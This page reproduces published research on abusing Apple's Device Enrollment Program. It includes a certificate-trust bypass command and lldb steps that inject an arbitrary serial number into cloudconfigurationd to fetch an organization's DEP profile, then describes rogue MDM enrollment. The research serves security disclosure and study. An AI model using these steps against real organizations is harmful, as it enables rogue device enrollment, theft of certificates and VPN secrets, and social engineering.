Enrolling Devices in Other Organisations

Intro

As **[previously commented](./#what-is-mdm-mobile-device-management), in order to try to enrol a device into an organization only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations and so on. Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.

The following research is taken from https://duo.com/labs/research/mdm-me-maybe****

Reversing the process

Binaries Involved in DEP and MDM

Throughout our research, we explored the following:

  • mdmclient: Used by the OS to communicate with an MDM server. On macOS 10.13.3 and earlier, it can also be used to trigger a DEP check-in.

  • profiles: A utility that can be used to install, remove and view Configuration Profiles on macOS. It can also be used to trigger a DEP check-in on macOS 10.13.4 and newer.

  • cloudconfigurationd: The Device Enrollment client daemon, which is responsible for communicating with the DEP API and retrieving Device Enrollment profiles.

When using either mdmclient or profiles to initiate a DEP check-in, the CPFetchActivationRecord and CPGetActivationRecord functions are used to retrieve the Activation Record. CPFetchActivationRecord delegates control to cloudconfigurationd through XPC, which then retrieves the Activation Record from the DEP API.

CPGetActivationRecord retrieves the Activation Record from cache, if available. These functions are defined in the private Configuration Profiles framework, located at /System/Library/PrivateFrameworks/Configuration Profiles.framework.

Reverse Engineering the Tesla Protocol and Absinthe Scheme

During the DEP check-in process, cloudconfigurationd requests an Activation Record from iprofiles.apple.com/macProfile. The request payload is a JSON dictionary containing two key-value pairs:

{
"sn": "",
action": "RequestProfileConfiguration
}

The payload is signed and encrypted using a scheme internally referred to as "Absinthe." The encrypted payload is then Base 64 encoded and used as the request body in an HTTP POST to iprofiles.apple.com/macProfile.

In cloudconfigurationd, fetching the Activation Record is handled by the MCTeslaConfigurationFetcher class. The general flow from [MCTeslaConfigurationFetcher enterState:] is as follows:

rsi = @selector(verifyConfigBag);
rsi = @selector(startCertificateFetch);
rsi = @selector(initializeAbsinthe);
rsi = @selector(startSessionKeyFetch);
rsi = @selector(establishAbsintheSession);
rsi = @selector(startConfigurationFetch);
rsi = @selector(sendConfigurationInfoToRemote);
rsi = @selector(sendFailureNoticeToRemote);

Since the Absinthe scheme is what appears to be used to authenticate requests to the DEP service, reverse engineering this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be time consuming, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the Activation Record request.

MITMing DEP Requests

We explored the feasibility of proxying network requests to iprofiles.apple.com with Charles Proxy. Our goal was to inspect the payload sent to iprofiles.apple.com/macProfile, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by cloudconfigurationd is in JSON format and contains two key-value pairs.

{
"action": "RequestProfileConfiguration",
sn": "
}

Since the API at iprofiles.apple.com uses Transport Layer Security (TLS), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests.

However, the -[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:] method checks the validity of the server certificate, and will abort if server trust cannot be verified.

[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
"The Device Enrollment server trust could not be verified. Please contact your system
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
server trust could not be verified. Please contact your system administrator.,
MCErrorType=MCFatalError}

The error message shown above is located in a binary Errors.strings file with the key CLOUD_CONFIG_SERVER_TRUST_ERROR, which is located at /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings, along with other related error messages.

$ cd /System/Library/CoreServices
$ rg "The Device Enrollment server trust could not be verified"
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
<snip>

The Errors.strings file can be printed in a human-readable format with the built-in plutil command.

$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings

After looking into the MCTeslaConfigurationFetcher class further, though, it became clear that this server trust behavior can be circumvented by enabling the MCCloudConfigAcceptAnyHTTPSCertificate configuration option on the com.apple.ManagedClient.cloudconfigurationd preference domain.

loc_100006406:
rax = [NSUserDefaults standardUserDefaults];
rax = [rax retain];
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
r15 = r15;
[rax release];
if (r14 != 0x1) goto loc_10000646f;

The MCCloudConfigAcceptAnyHTTPSCertificate configuration option can be set with the defaults command.

sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes

With SSL Proxying enabled for iprofiles.apple.com and cloudconfigurationd configured to accept any HTTPS certificate, we attempted to man-in-the-middle and replay the requests in Charles Proxy.

However, since the payload included in the body of the HTTP POST request to iprofiles.apple.com/macProfile is signed and encrypted with Absinthe, (NACSign), it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring cloudconfigurationd with the LLDB debugger.

Instrumenting System Binaries That Interact With DEP

The final method we explored for automating the process of submitting arbitrary serial numbers to iprofiles.apple.com/macProfile was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the mdmclient, profiles, and cloudconfigurationd in Hopper v4 and Ida Pro, and some lengthy debugging sessions with lldb.

One of the benefits of this method over modifying the binaries and re-signing them with our own key is that it sidesteps some of the entitlements restrictions built into macOS that might otherwise deter us.

System Integrity Protection

In order to instrument system binaries, (such as cloudconfigurationd) on macOS, System Integrity Protection (SIP) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. SIP can be disabled by booting into Recovery Mode and running the following command in the Terminal application, then rebooting:

csrutil enable --without debug

It’s worth noting, however, that SIP is a useful security feature and should not be disabled except for research and testing purposes on non-production machines. It’s also possible (and recommended) to do this on non-critical Virtual Machines rather than on the host operating system.

Binary Instrumentation With LLDB

With SIP disabled, we were then able to move forward with instrumenting the system binaries that interact with the DEP API, namely, the cloudconfigurationd binary. Because cloudconfigurationd requires elevated privileges to run, we need to start lldb with sudo.

$ sudo lldb
(lldb) process attach --waitfor --name cloudconfigurationd

While lldb is waiting, we can then attach to cloudconfigurationd by running sudo /usr/libexec/mdmclient dep nag in a separate Terminal window. Once attached, output similar to the following will be displayed and LLDB commands can be typed at the prompt.

Process 861 stopped
* thread #1, stop reason = signal SIGSTOP
<snip>
Target 0: (cloudconfigurationd) stopped.

Executable module set to "/usr/libexec/cloudconfigurationd".
Architecture set to: x86_64h-apple-macosx.
(lldb)

Setting the Device Serial Number

One of the first things we looked for when reversing mdmclient and cloudconfigurationd was the code responsible for retrieving the system serial number, as we knew the serial number was ultimately responsible for authenticating the device. Our goal was to modify the serial number in memory after it is retrieved from the IORegistry, and have that be used when cloudconfigurationd constructs the macProfile payload.

Although cloudconfigurationd is ultimately responsible for communicating with the DEP API, we also looked into whether the system serial number is retrieved or used directly within mdmclient. The serial number retrieved as shown below is not what is sent to the DEP API, but it did reveal a hard-coded serial number that is used if a specific configuration option is enabled.

int sub_10002000f() {
if (sub_100042b6f() != 0x0) {
r14 = @"2222XXJREUF";
}
else {
rax = IOServiceMatching("IOPlatformExpertDevice");
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
<snip>
}
rax = r14;
return rax;
}

The system serial number is retrieved from the IORegistry, unless the return value of sub_10002000f is nonzero, in which case it’s set to the static string “2222XXJREUF”. Upon inspecting that function, it appears to check whether “Server stress test mode” is enabled.

void sub_1000321ca(void * _block) {
if (sub_10002406f() != 0x0) {
*(int8_t *)0x100097b68 = 0x1;
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
}
return;
}

We documented the existence of “server stress test mode,” but didn’t explore it any further, as our goal was to modify the serial number presented to the DEP API. Instead, we tested whether modifying the serial number pointed to by the r14 register would suffice in retrieving an Activation Record that was not meant for the machine we were testing on.

Next, we looked at how the system serial number is retrieved within cloudconfigurationd.

int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
var_50 = arg3;
r12 = arg2;
r13 = arg1;
r15 = arg0;
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
r14 = 0xffffffffffff541a;
if (rbx != 0x0) {
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
r14 = rax;
<snip>
}
rax = r14;
return rax;
}

As can be seen above, the serial number is retrieved from the IORegistry in cloudconfigurationd as well.

Using lldb, we were able to modify the serial number retrieved from the IORegistry by setting a breakpoint for IOServiceGetMatchingService and creating a new string variable containing an arbitrary serial number and rewriting the r14 register to point to the memory address of the variable we created.

(lldb) breakpoint set -n IOServiceGetMatchingService
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --waitfor --name cloudconfigurationd
Process 2208 stopped
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
stop reason = instruction step over frame #0: 0x000000010fd824d8
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
->  0x10fd824d8 <+73>: movl   %ebx, %edi
0x10fd824da <+75>: callq  0x10ffac91e               ; symbol stub for: IOObjectRelease
0x10fd824df <+80>: testq  %r14, %r14
0x10fd824e2 <+83>: jne    0x10fd824e7               ; <+88>
Target 0: (cloudconfigurationd) stopped.
(lldb) continue  # Will hit breakpoint at `IOServiceGetMatchingService`
# Step through the program execution by pressing 'n' a bunch of times and
# then 'po $r14' until we see the serial number.
(lldb) n
(lldb) po $r14
C02JJPPPQQQRR  # The system serial number retrieved from the `IORegistry`
# Create a new variable containing an arbitrary serial number and print the memory address.
(lldb) p/x @"C02XXYYZZNNMM"
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
# Rewrite the `r14` register to point to our new variable.
(lldb) register write $r14 0x00007fb6d7d05850
(lldb) po $r14
# Confirm that `r14` contains the new serial number.
C02XXYYZZNNMM

Although we were successful in modifying the serial number retrieved from the IORegistry, the macProfile payload still contained the system serial number, not the one we wrote to the r14 register.

Exploit: Modifying the Profile Request Dictionary Prior to JSON Serialization

Next, we tried setting the serial number that is sent in the macProfile payload in a different way. This time, rather than modifying the system serial number retrieved via IORegistry, we tried to find the closest point in the code where the serial number is still in plain text before being signed with Absinthe (NACSign). The best point to look at appeared to be -[MCTeslaConfigurationFetcher startConfigurationFetch], which roughly performs the following steps:

  • Creates a new NSMutableData object

  • Calls [MCTeslaConfigurationFetcher setConfigurationData:], passing it the new NSMutableData object

  • Calls [MCTeslaConfigurationFetcher profileRequestDictionary], which returns an NSDictionary object containing two key-value pairs:

  • sn: The system serial number

  • action: The remote action to perform (with sn as its argument)

  • Calls [NSJSONSerialization dataWithJSONObject:], passing it the NSDictionary from profileRequestDictionary

  • Signs the JSON payload using Absinthe (NACSign)

  • Base64 encodes the signed JSON payload

  • Sets the HTTP method to POST

  • Sets the HTTP body to the base64 encoded, signed JSON payload

  • Sets the X-Profile-Protocol-Version HTTP header to 1

  • Sets the User-Agent HTTP header to ConfigClient-1.0

  • Uses the [NSURLConnection alloc] initWithRequest:delegate:startImmediately:] method to perform the HTTP request

We then modified the NSDictionary object returned from profileRequestDictionary before being converted into JSON. To do this, a breakpoint was set on dataWithJSONObject in order to get us as close as possible to the as-yet unconverted data as possible. The breakpoint was successful, and when we printed the contents of the register we knew through the disassembly (rdx) that we got the results we expected to see.

po $rdx
{
action = RequestProfileConfiguration;
sn = C02XXYYZZNNMM;
}

The above is a pretty-printed representation of the NSDictionary object returned by [MCTeslaConfigurationFetcher profileRequestDictionary]. Our next challenge was to modify the in-memory NSDictionary containing the serial number.

(lldb) breakpoint set -r "dataWithJSONObject"
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --name "cloudconfigurationd" --waitfor
Process 3291 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
Target 0: (cloudconfigurationd) stopped.
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
(lldb) continue
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
@"RequestProfileConfiguration", @"action", nil]
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
# Confirm that `rdx` contains the new `NSDictionary`.
po $rdx
{
action = RequestProfileConfiguration;
sn = <new_serial_number>
}

The listing above does the following:

  • Creates a regular expression breakpoint for the dataWithJSONObject selector

  • Waits for the cloudconfigurationd process to start, then attaches to it

  • continues execution of the program, (because the first breakpoint we hit for dataWithJSONObject is not the one called on the profileRequestDictionary)

  • Creates and prints (in hex format due to the /x) the result of creating our arbitrary NSDictionary

  • Since we already know the names of the required keys we can simply set the serial number to one of our choice for sn and leave action alone

  • The printout of the result of creating this new NSDictionary tells us we have two key-value pairs at a specific memory location

Our final step was now to repeat the same step of writing to rdx the memory location of our custom NSDictionary object that contains our chosen serial number:

(lldb) register write $rdx 0x00007ff068c2e5a0  # Rewrite the `rdx` register to point to our new variable
(lldb) continue

This points the rdx register to our new NSDictionary right before it's serialized to JSON and POSTed to iprofiles.apple.com/macProfile, then continues program flow.

This method of modifying the serial number in the profile request dictionary before being serialized to JSON worked. When using a known-good DEP-registered Apple serial number instead of (null), the debug log for ManagedClient showed the complete DEP profile for the device:

Apr  4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
{
AllowPairing = 1;
AnchorCertificates =     (
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://some.url/cloudenroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "Org address";
OrganizationAddressLine1 = "More address";
OrganizationAddressLine2 = NULL;
OrganizationCity = A City;
OrganizationCountry = US;
OrganizationDepartment = "Org Dept";
OrganizationEmail = "dep.management@org.url";
OrganizationMagic = <unique string>;
OrganizationName = "ORG NAME";
OrganizationPhone = "+1551234567";
OrganizationSupportPhone = "+15551235678";
OrganizationZipCode = "ZIPPY";
SkipSetup =     (
AppleID,
Passcode,
Zoom,
Biometric,
Payment,
TOS,
TapToSetup,
Diagnostics,
HomeButtonSensitivity,
Android,
Siri,
DisplayTone,
ScreenSaver
);
SupervisorHostCertificates =     (
);
}

With just a few lldb commands we can successfully insert an arbitrary serial number and get a DEP profile that includes various organization-specific data, including the organization's MDM enrollment URL. As discussed, this enrollment URL could be used to enroll a rogue device now that we know its serial number. The other data could be used to social engineer a rogue enrollment. Once enrolled, the device could receive any number of certificates, profiles, applications, VPN configurations and so on.

Automating cloudconfigurationd Instrumentation With Python

Once we had the initial proof-of-concept demonstrating how to retrieve a valid DEP profile using just a serial number, we set out to automate this process to show how an attacker might abuse this weakness in authentication.

Fortunately, the LLDB API is available in Python through a script-bridging interface. On macOS systems with the Xcode Command Line Tools installed, the lldb Python module can be imported as follows:

import lldb

This made it relatively easy to script our proof-of-concept demonstrating how to insert a DEP-registered serial number and receive a valid DEP profile in return. The PoC we developed takes a list of serial numbers separated by newlines and injects them into the cloudconfigurationd process to check for DEP profiles.

Impact

There are a number of scenarios in which Apple's Device Enrollment Program could be abused that would lead to exposing sensitive information about an organization. The two most obvious scenarios involve obtaining information about the organization that a device belongs to, which can be retrieved from the DEP profile. The second is using this information to perform a rogue DEP and MDM enrollment. Each of these are discussed further below.

Information Disclosure

As mentioned previously, part of the DEP enrollment process involves requesting and receiving an Activation Record, (or DEP profile), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, (either printed to stdout or written to the ManagedClient log, depending on macOS version).

Activation record: {
AllowPairing = 1;
AnchorCertificates =     (
<array_of_der_encoded_certificates>
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://example.com/enroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
OrganizationAddressLine1 = "123 Main Street";
OrganizationAddressLine2 = NULL;
OrganizationCity = Anywhere;
OrganizationCountry = USA;
OrganizationDepartment = "IT";
OrganizationEmail = "dep@example.com";
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
OrganizationName = "Example, Inc.";
OrganizationPhone = "+15555555555";
OrganizationSupportPhone = "+15555555555";
OrganizationZipCode = "12345";
SkipSetup =     (
<array_of_setup_screens_to_skip>
);
SupervisorHostCertificates =     (
);
}

Although some of this information might be publicly available for certain organizations, having a serial number of a device owned by the organization along with the information obtained from the DEP profile could be used against an organization's help desk or IT team to perform any number of social engineering attacks, such as requesting a password reset or help enrolling a device in the company's MDM server.

Rogue DEP Enrollment

The Apple MDM protocol supports - but does not require - user authentication prior to MDM enrollment via HTTP Basic Authentication. Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number. Thus, an attacker that obtains such a serial number, (either through OSINT, social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device.

Organizations can - and do - leverage MDM to deploy sensitive information such as device and user certificates, VPN configuration data, enrollment agents, Configuration Profiles, and various other internal data and organizational secrets. Additionally, some organizations elect not to require user authentication as part of MDM enrollment. This has various benefits, such as a better user experience, and not having to expose the internal authentication server to the MDM server to handle MDM enrollments that take place outside of the corporate network.

This presents a problem when leveraging DEP to bootstrap MDM enrollment, though, because an attacker would be able to enroll any endpoint of their choosing in the organization's MDM server. Additionally, once an attacker successfully enrolls an endpoint of their choosing in MDM, they may obtain privileged access that could be used to further pivot within the network.

Last updated